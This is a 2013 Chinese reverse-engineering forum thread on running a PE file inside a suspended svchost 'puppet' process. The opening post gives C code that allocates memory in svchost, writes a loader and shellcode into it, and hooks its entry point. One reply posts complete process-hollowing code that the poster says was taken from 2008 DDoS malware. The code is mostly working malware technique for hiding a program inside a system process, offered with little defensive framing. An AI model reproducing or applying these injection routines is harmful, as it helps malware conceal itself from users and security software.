首页
论坛
课程
招聘
[原创]另类注入 傀儡进程测试
2013-4-27 01:37 30189

[原创]另类注入 傀儡进程测试

2013-4-27 01:37
30189
看 老V 另类远程线程模式 后想来研究研究 留言中提到的svchost傀儡进程的实现 后来就写了个Demo 能让一个PE文件完美地运行在svchost内部,svchost为傀儡进程 这也没什么技术含量 技术应该比较老了 但又怕完全放出代码会被利用 就只放核心代码。
先说说原理:
1、创建一个挂起的svchost进程
2、找svchost进程的OEP备用
3、在svchost中开辟几块空间 存放自己的PeLoader、PE文件的ShellCode、参数结构等
4、将PeLoader、ShellCode、参数结构写入svchost中
5、Hook svchost的OEP 改为PeLoader
6、恢复svchost进程执行PeLoader加载ShellCode并运行

代码中没有PeLoader函数,该函数的功能就是用病毒技术找Kernel32、导出表找一些常用函数、对
ShellCode解密、重定位、内存加载、Call OEP执行,类似PeLoader函数的论坛上很多代码。

代码:

typedef struct _DATA
{
        DWORD  key1;
        DWORD  key2;
        DWORD  CodeAddress1;
        DWORD  size1;
        DWORD  CodeAddress2;
        DWORD  size2;
}PDATA;

int  PeLoader(PDATA *a1)
{
/*
_asm{
                mov eax,fs:[30h]
                mov ffset, eax
        }
        Base = *(DWORD *)(*(DWORD *)(ffset + 12) + 28);
        while ( *(DWORD *)(Base + 28) != 0x1A0018 )
        {
                Base = *(DWORD *)Base;
                if ( !Base )
                        return 1;
        }
        Kernel32 = *(DWORD *)(Base + 8);   
        if ( !Kernel32 )
                return 1;

        /////////////////////////////  找函数  //////////////////
        EDerictor = *(DWORD *)(*(DWORD *)(Kernel32 + 60) + Kernel32 + 120);  //导出目录
        NumberOfNames = *(DWORD *)(EDerictor + Kernel32 + 24);   
        AddressOfFunctions = *(DWORD *)(Kernel32 + EDerictor + 28);
        AddressOfNameOrdinals = *(DWORD *)(Kernel32 + EDerictor + 36);
        AddressOfName =  *(DWORD *)(Kernel32 + EDerictor + 32);
*/

//...........................................................
return 0;
}

//通过进程句柄获取入口地址
int  GetProcessEntryPoit(void *Process)
{
        int pMem = 0, pAddress = 0;

        int EntryPoit = 0;

        MEMORY_BASIC_INFORMATION lpBuffer;
        ZeroMemory(&lpBuffer, sizeof(lpBuffer));

        int MaxMem, i, j;
        while(1)
        {
                VirtualQueryEx(Process,(LPCVOID)pAddress,&lpBuffer,sizeof(lpBuffer));
                if(lpBuffer.State==MEM_FREE && lpBuffer.RegionSize>0x08000000)
                        break;

                pMem=pAddress;
                MaxMem=pMem+(lpBuffer.RegionSize)/4096;
                for(i = pMem; i<MaxMem; i++)
                {
                        char Buffer[4096] = {0};
                        ReadProcessMemory(Process, (LPCVOID)pMem, Buffer, 4096, NULL);
                        WORD len = 0;
                        for(j=0; j<4096; j++)
                        {       
                                len = *((WORD *)&Buffer[j+60]);
                                if (*(WORD*)&Buffer[j] == 0x5A4D && *(WORD *)&Buffer[j+len] == 0x4550)
                                {
                                        EntryPoit =  (DWORD)pMem  + *(DWORD *)&Buffer[j+len+40];                       
                                        return EntryPoit;
                                }
                                pMem++;

                        }
                }

                pAddress+=lpBuffer.RegionSize;
        }
        return false;
}

int  InjectProcess(void *Process, void *hThread,  void *argc4, DWORD argc5)
{
        const void *PeLoaderAddress;

        DWORD Address1;
        DWORD Address2;
        DWORD HookAddress;
        DWORD ArgsAddress;
        DWORD CodeOneAddress;
        DWORD CodeTowAddress;

        DWORD flOldProtect;
        DWORD ExitCode;
        PDATA gData;      // Push 参数变量

        BYTE Hook[16] = {0};
        int EntryPoit = GetProcessEntryPoit(Process);   //通过进程句柄获取入口地址(也就是注入进程OEP 后面Hook)

        gData.key1 = 0x1234;     //测试参数 预留 给ShellCode解密参数
        gData.key2 = 0xffff;

        //在注入进程开辟数据空间
        HookAddress = (DWORD)VirtualAllocEx(Process, 0, 0x1000u, 0x1000u, 0x40u); //开辟一块空间存放 Loader 函数
        ArgsAddress = (DWORD)VirtualAllocEx(Process, 0, 0x18u, 0x1000u, 4u);   //存放 push 参数的空间

        CodeOneAddress = (DWORD)VirtualAllocEx(Process, 0, 500, 0x1000u, 0x40u);  //存放 测试数据 空间
        CodeTowAddress = (DWORD)VirtualAllocEx(Process, 0, sizeof(ShellCode), 0x1000u, 0x4u); // 存放 ShellCode 的空间

        //初始化Push参数
        gData.CodeAddress1 = CodeOneAddress;
        gData.size1 = 16;
        gData.CodeAddress2 = CodeTowAddress;   //ShellCode地址
        gData.size2 = sizeof(ShellCode);    //ShellCode大小

        //将Loader函数、ShellCode、参数 写入开辟的对应的空间
        if ( HookAddress && ArgsAddress && CodeOneAddress && CodeTowAddress )
        {
                PeLoaderAddress = PeLoader;   

                if ( *(BYTE *)PeLoader == 0xE9u )
                        PeLoaderAddress = (char *)PeLoader + *(DWORD *)((char *)PeLoader + 1) + 5;
                if ( WriteProcessMemory(Process, (void *)HookAddress, (void *)PeLoaderAddress, 4096u, &ExitCode) ) //写入Loader
                {
                        if ( WriteProcessMemory(Process, (void *)ArgsAddress, (void *)&gData, 24u, &ExitCode) ) //写入参数
                        {
                                if ( WriteProcessMemory(Process, (void *)CodeOneAddress, (void *)argc4, argc5, &ExitCode) ) //写入测试数据 后面在Loader中弹一个对话框 这时已经在注入进程中
                                {
                                        if ( WriteProcessMemory(Process, (void *)CodeTowAddress, ShellCode, sizeof(ShellCode), &ExitCode) )//写入ShellCode
                                        {
                                                //Hook 入口地址 使注入进程执行时从Loader函数开始
                                                Address2 = HookAddress - (DWORD)EntryPoit - 10;
                                                Address1 = ArgsAddress;
                                       
                                                Hook[0] = 0x68u;   
                                                memcpy(Hook+1, &Address1, 4);  //Push Address1
                                                Hook[5] = 0xE8;                //Call Address2
                                                memcpy(Hook+6, &Address2, 4);
                                                Hook[10] = 0xC3;

                                                if ( VirtualProtectEx(Process, (void *)EntryPoit, 0x10u, 0x40u, &flOldProtect) )
                                                {
                                                        if ( WriteProcessMemory(Process, (void *)EntryPoit, Hook, 16u, &ExitCode) ) //将Hook写入EntryPoit
                                                        {
                                                                if ( VirtualProtectEx(Process, (void *)EntryPoit, 0x10u, flOldProtect, &flOldProtect) )
                                                                {
                                                                        if ( ResumeThread(hThread) )  //恢复挂起的注入进程
                                                                        {
                                                                                   WaitForSingleObject(hThread, 0xFFFFFFFFu);
                                                                                        if ( GetExitCodeThread(hThread, &ExitCode) )
                                                                                        {
                                                                                                ExitCode = ExitCode;
                                                                                        }
                                                                                        else
                                                                                        {
                                                                                                ExitCode = GetLastError();
                                                                                        }
                                                                                        return ExitCode;
                                                                        }

                                                                }

                                                        }

                                                }

                                        }

                                }

                        }

                }

        }
        if ( HookAddress )
        {
                VirtualFreeEx(Process, (void *)HookAddress, 0, 0x8000u);
        }
        if ( ArgsAddress )
        {
                VirtualFreeEx(Process, (void *)ArgsAddress, 0, 0x8000u);
        }
        if ( CodeOneAddress )
        {
                VirtualFreeEx(Process, (void *)CodeOneAddress, 0, 0x8000u);
        }
        VirtualFreeEx(Process, (void *)CodeTowAddress, 0, 0x8000u) ;
        return 0;
}

int AddPrivilege(const char *Name)  //提升权限
{
        HANDLE hToken;
        TOKEN_PRIVILEGES tp;
        LUID Luid;
        if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
        {
                return 1;
        }

        if (!LookupPrivilegeValue(NULL,Name,&Luid))
        {
                return 1;
        }
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        tp.Privileges[0].Luid = Luid;

        if (!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
        {
                return 1;       
        }
        return 0;
}

int main()
{
        STARTUPINFO StartupInfo = {0};
        PROCESS_INFORMATION ProcessInformation = {0};

        StartupInfo.cb = sizeof(StartupInfo);
        StartupInfo.dwFlags = 1;
        StartupInfo.wShowWindow = 1;

        AddPrivilege(SE_DEBUG_NAME);
        char lpCommandLine[] = "C:\\windows\\system32\\svchost.exe";

        if ( !CreateProcess(0, lpCommandLine, 0, 0, 0, 0x14u, 0, 0, &StartupInfo, &ProcessInformation) )
        {
                return 0;
        }

        InjectProcess(ProcessInformation.hProcess,ProcessInformation.hThread, lpCommandLine, sizeof(lpCommandLine));

        return 0;
}
调试:
调试时当svchost被挂起并且找到svchost的OEP后可以用Windbg附加上bp HookAddress的地址下断点 当执行完后 并且Hook OEP正常执行就会断在PeLoader中 不知道怎么上图就不上调试图片了,断下后可以很方便的观察PeLoader的执行情况、调试和修改。

第五届安全开发者峰会(SDC 2021)议题征集正式开启!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (27)
雪    币: 177
活跃值: 活跃值 (239)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
viphack 活跃值 4 2013-4-27 07:21
2
0
xian mark 5.1zaikan
雪    币: 1291
活跃值: 活跃值 (451)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
pxhb 活跃值 2 2013-4-27 08:02
3
0
收藏,以后用的上
雪    币: 321
活跃值: 活跃值 (11)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
岭南散人 活跃值 1 2013-4-27 09:56
4
0
这样的修改远程进程的内存的行为,一定被安全软件报警,实际意义不大吧
雪    币: 317
活跃值: 活跃值 (12)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
comealong 活跃值 2013-4-27 10:19
5
0
这玩意win7 64位可以玩不?
雪    币: 62
活跃值: 活跃值 (17)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
NianX 活跃值 2 2013-4-27 10:38
6
0
64位没测试过 有时间可以改个64位版本的
雪    币: 2941
活跃值: 活跃值 (493)
能力值: ( LV13,RANK:240 )
在线值:
发帖
回帖
粉丝
IamHuskar 活跃值 4 2013-4-27 11:19
7
0
直接运行一个svchost有啥用?.我直接运行它就退出了。我想通过DLLwriteprocess注入到这个进程内部,怎样才不会直接退出?
雪    币: 165
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yzxdev 活跃值 2013-4-27 11:23
8
0
我贴个完整的,翻硬盘翻到的08年某个ddos里面的代码

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include "psapi.h"

struct PE_Header
{
unsigned long signature;
unsigned short machine;
unsigned short numSections;
unsigned long timeDateStamp;
unsigned long pointerToSymbolTable;
unsigned long numOfSymbols;
unsigned short sizeOfOptionHeader;
unsigned short characteristics;
};

struct PE_ExtHeader
{
unsigned short magic;
unsigned char majorLinkerVersion;
unsigned char minorLinkerVersion;
unsigned long sizeOfCode;
unsigned long sizeOfInitializedData;
unsigned long sizeOfUninitializedData;
unsigned long addressOfEntryPoint;
unsigned long baseOfCode;
unsigned long baseOfData;
unsigned long imageBase;
unsigned long sectionAlignment;
unsigned long fileAlignment;
unsigned short majorOSVersion;
unsigned short minorOSVersion;
unsigned short majorImageVersion;
unsigned short minorImageVersion;
unsigned short majorSubsystemVersion;
unsigned short minorSubsystemVersion;
unsigned long reserved1;
unsigned long sizeOfImage;
unsigned long sizeOfHeaders;
unsigned long checksum;
unsigned short subsystem;
unsigned short DLLCharacteristics;
unsigned long sizeOfStackReserve;
unsigned long sizeOfStackCommit;
unsigned long sizeOfHeapReserve;
unsigned long sizeOfHeapCommit;
unsigned long loaderFlags;
unsigned long numberOfRVAAndSizes;
unsigned long exportTableAddress;
unsigned long exportTableSize;
unsigned long importTableAddress;
unsigned long importTableSize;
unsigned long resourceTableAddress;
unsigned long resourceTableSize;
unsigned long exceptionTableAddress;
unsigned long exceptionTableSize;
unsigned long certFilePointer;
unsigned long certTableSize;
unsigned long relocationTableAddress;
unsigned long relocationTableSize;
unsigned long debugDataAddress;
unsigned long debugDataSize;
unsigned long archDataAddress;
unsigned long archDataSize;
unsigned long globalPtrAddress;
unsigned long globalPtrSize;
unsigned long TLSTableAddress;
unsigned long TLSTableSize;
unsigned long loadConfigTableAddress;
unsigned long loadConfigTableSize;
unsigned long boundImportTableAddress;
unsigned long boundImportTableSize;
unsigned long importAddressTableAddress;
unsigned long importAddressTableSize;
unsigned long delayImportDescAddress;
unsigned long delayImportDescSize;
unsigned long COMHeaderAddress;
unsigned long COMHeaderSize;
unsigned long reserved2;
unsigned long reserved3;
};


struct SectionHeader
{
unsigned char sectionName[8];
unsigned long virtualSize;
unsigned long virtualAddress;
unsigned long sizeOfRawData;
unsigned long pointerToRawData;
unsigned long pointerToRelocations;
unsigned long pointerToLineNumbers;
unsigned short numberOfRelocations;
unsigned short numberOfLineNumbers;
unsigned long characteristics;
};

struct MZHeader
{
unsigned short signature;
unsigned short partPag;
unsigned short pageCnt;
unsigned short reloCnt;
unsigned short hdrSize;
unsigned short minMem;
unsigned short maxMem;
unsigned short reloSS;
unsigned short exeSP;
unsigned short chksum;
unsigned short exeIP;
unsigned short reloCS;
unsigned short tablOff;
unsigned short overlay;
unsigned char reserved[32];
unsigned long offsetToPE;
};


struct ImportDirEntry
{
DWORD importLookupTable;
DWORD timeDateStamp;
DWORD fowarderChain;
DWORD nameRVA;
DWORD importAddressTable;
};


//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
SectionHeader **outSecHdr)
{
fseek(fp, 0, SEEK_END);
long fileSize = ftell(fp);
fseek(fp, 0, SEEK_SET);

if(fileSize < sizeof(MZHeader))
return false;

// read MZ Header
MZHeader mzH;
fread(&mzH, sizeof(MZHeader), 1, fp);

if(mzH.signature != 0x5a4d) // MZ
return false;

if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
return false;

// read PE Header
fseek(fp, mzH.offsetToPE, SEEK_SET);
PE_Header peH;
fread(&peH, sizeof(PE_Header), 1, fp);

if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
return false;

// read PE Ext Header
PE_ExtHeader peXH;

fread(&peXH, sizeof(PE_ExtHeader), 1, fp);


// read the sections
SectionHeader *secHdr = new SectionHeader[peH.numSections];

fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);

*outMZ = mzH;
*outPE = peH;
*outpeXH = peXH;
*outSecHdr = secHdr;

return true;
}


//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr)
{
int result = 0;
int alignment = inpeXH->sectionAlignment;

if(inpeXH->sizeOfHeaders % alignment == 0)
result += inpeXH->sizeOfHeaders;
else
{
int val = inpeXH->sizeOfHeaders / alignment;
val++;
result += (val * alignment);
}


for(int i = 0; i < inPE->numSections; i++)
{
if(inSecHdr.virtualSize)
{
if(inSecHdr.virtualSize % alignment == 0)
result += inSecHdr.virtualSize;
else
{
int val = inSecHdr.virtualSize / alignment;
val++;
result += (val * alignment);
}
}
}

return result;
}


//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{
if(curSize % alignment == 0)
return curSize;
else
{
int val = curSize / alignment;
val++;
return (val * alignment);
}
}


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc)
{
char *outPtr = (char *)ptrLoc;

fseek(fp, 0, SEEK_SET);
unsigned long headerSize = inpeXH->sizeOfHeaders;

// certain PE files have sectionHeaderSize value > size of PE file itself.
// this loop handles this situation by find the section that is nearest to the
// PE header.

for(int i = 0; i < inPE->numSections; i++)
{
if(inSecHdr.pointerToRawData < headerSize)
headerSize = inSecHdr.pointerToRawData;
}

// read the PE header
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
if(readSize != headerSize)
return false;

outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

// read the sections
for(i = 0; i < inPE->numSections; i++)
{
if(inSecHdr.sizeOfRawData > 0)
{
unsigned long toRead = inSecHdr.sizeOfRawData;
if(toRead > inSecHdr.virtualSize)
toRead = inSecHdr.virtualSize;

fseek(fp, inSecHdr.pointerToRawData, SEEK_SET);
readSize = fread(outPtr, 1, toRead, fp);

if(readSize != toRead)
return false;

outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
}
else
{
// this handles the case where the PE file has an empty section. E.g. UPX0 section
// in UPXed files.

if(inSecHdr.virtualSize)
outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
}
}

return true;
}


struct FixupBlock
{
unsigned long pageRVA;
unsigned long blockSize;
};


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
long delta = newBase - inpeXH->imageBase;

while(fixBlk->blockSize)
{
int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;

unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);

for(int i = 0; i < numEntries; i++)
{
DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));

int relocType = (*offsetPtr & 0xF000) >> 12;


if(relocType == 3)
*codeLoc = ((DWORD)*codeLoc) + delta;

offsetPtr++;
}

fixBlk = (FixupBlock *)offsetPtr;
}
}
}


#define TARGETPROC "svchost.exe"

typedef struct _PROCINFO
{
DWORD baseAddr;
DWORD imageSize;
} PROCINFO;



//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************


BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
STARTUPINFO si = {0};

if(CreateProcess(NULL, TARGETPROC,
NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))
{
ctx->ContextFlags=CONTEXT_FULL;
GetThreadContext(pi->hThread, ctx);

DWORD *pebInfo = (DWORD *)ctx->Ebx;
DWORD read;
ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);

DWORD curAddr = outChildProcInfo->baseAddr;
MEMORY_BASIC_INFORMATION memInfo;
while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
{
if(memInfo.State == MEM_FREE)
break;
curAddr += memInfo.RegionSize;
}
outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;

return TRUE;
}
return FALSE;
}


//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
return TRUE;
}
return FALSE;
}


typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);


//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
// thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************

void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ctx;
PROCINFO childInfo;

if(createChild(&pi, &ctx, &childInfo))
{
LPVOID v = (LPVOID)NULL;

if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
{
// if new EXE has same baseaddr and is its size is <= to the original EXE, just
// overwrite it in memory
v = (LPVOID)childInfo.baseAddr;
DWORD oldProtect;
VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);
}
else
{
// get address of ZwUnmapViewOfSection
PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

// try to unmap the original EXE image
if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
{
// allocate memory for the new EXE image at the prefered imagebase.
v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
}
}

if(!v && hasRelocationTable(inpeXH))
{
// if unmap failed but EXE is relocatable, then we try to load the EXE at another
// location
v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(v)
{
// we've got to do the relocation ourself if we load the image at another
// memory location
doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
}
}

if(v)
{
// patch the EXE base addr in PEB (PEB + 8 holds process base addr)
DWORD *pebInfo = (DWORD *)ctx.Ebx;
DWORD wrote;
WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

// patch the base addr in the PE header of the EXE that we load ourselves
PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
peXH->imageBase = (DWORD)v;

if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
{
ctx.ContextFlags=CONTEXT_FULL;
//ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);

if((DWORD)v == childInfo.baseAddr)
{
ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; // eax holds new entry point
}
else
{
// in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
// performed.
ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; // eax holds new entry point
}

GetLastError();//垃圾代码

SetThreadContext(pi.hThread,&ctx);

ResumeThread(pi.hThread);
}
else
TerminateProcess(pi.hProcess, 0);
}
else
TerminateProcess(pi.hProcess, 0);
}
}

int InitRun()
{
char szModulePath[MAX_PATH];

GetModuleFileName( NULL, szModulePath, MAX_PATH );
if(strstr(szModulePath,"svchost.exe")!=NULL)
return 0;

FILE *fp = fopen(szModulePath, "rb");
if(fp)
{
MZHeader mzH;
PE_Header peH;
PE_ExtHeader peXH;
SectionHeader *secHdr;

if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
{
int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);

LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(ptrLoc)
{
loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);

doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);
}
else
return 0;
}
fclose(fp);
return 1;
}
else
return 0;
}

雪    币: 60
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
white、、 活跃值 2013-4-27 12:03
9
0
单纯的改 OEP好像会被某个杀软 报的。
雪    币: 102
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
哟哟哟哟 活跃值 2013-4-27 12:16
10
0
顶8楼,收下慢慢看
雪    币: 34605
活跃值: 活跃值 (151524)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
linhanshi 活跃值 2013-4-27 12:16
11
0
Thanks for share.
雪    币: 62
活跃值: 活跃值 (17)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
NianX 活跃值 2 2013-4-27 13:17
12
0
好代码。自惭
雪    币: 104
活跃值: 活跃值 (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bakurise 活跃值 2013-4-27 13:48
13
0
看这个代码像是老外做的。。。代码严谨程度跟风格却是相当好
雪    币: 6692
活跃值: 活跃值 (307)
能力值: ( LV5,RANK:71 )
在线值:
发帖
回帖
粉丝
joker陈 活跃值 2013-4-27 16:43
14
0
老外的代码为神马看着就很舒服,大家觉得呢?
雪    币: 276
活跃值: 活跃值 (15)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
淡定疯着 活跃值 2013-4-27 16:56
15
0

     楼主这是IDA的F5风格的代码,还好能看的下来
最恐怖的是满地全局变量,而且一堆处理全局变量的函数,不显示把全局变量作参数,
     更恐怖的是同一个全变量在不同的作用域,保存不同的值,再穿插调用,,
      哪样的代码,以后抽死我,我也不读啦... ...
雪    币: 2087
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
llyyttzj 活跃值 2013-4-27 17:22
16
0
留脚印,以后仔细研究
雪    币: 327
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cheryl 活跃值 2013-4-28 10:22
17
0
完全看不懂~~~~
雪    币: 1296
活跃值: 活跃值 (547)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
lynnux 活跃值 2013-4-28 11:03
18
0
现在看雪是有码就精吗?
雪    币: 169
活跃值: 活跃值 (88)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
学者learner 活跃值 2013-4-28 11:06
19
0
有时间研究一下
雪    币: 30
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
slj 活跃值 2013-4-29 17:11
20
0
学些,搜藏了。
雪    币: 139
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wxyysjkiss 活跃值 2013-4-30 09:08
21
0
OEP已经被盯死了,杀软必杀之
雪    币: 34
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
最爱小铅 活跃值 2013-6-3 10:51
22
0
看代码好费劲,自己看的量不够吗
雪    币: 245
活跃值: 活跃值 (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
孤行有你 活跃值 2013-10-22 10:26
23
0
大哥。。发我一份。详细的,我研究一下
雪    币: 1794
活跃值: 活跃值 (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
youye 活跃值 2014-2-23 11:28
24
0
留个脚印
雪    币: 486
活跃值: 活跃值 (49)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
ksmokee 活跃值 1 2014-8-19 22:14
25
0
留个脚印
游客
登录 | 注册 方可回帖
返回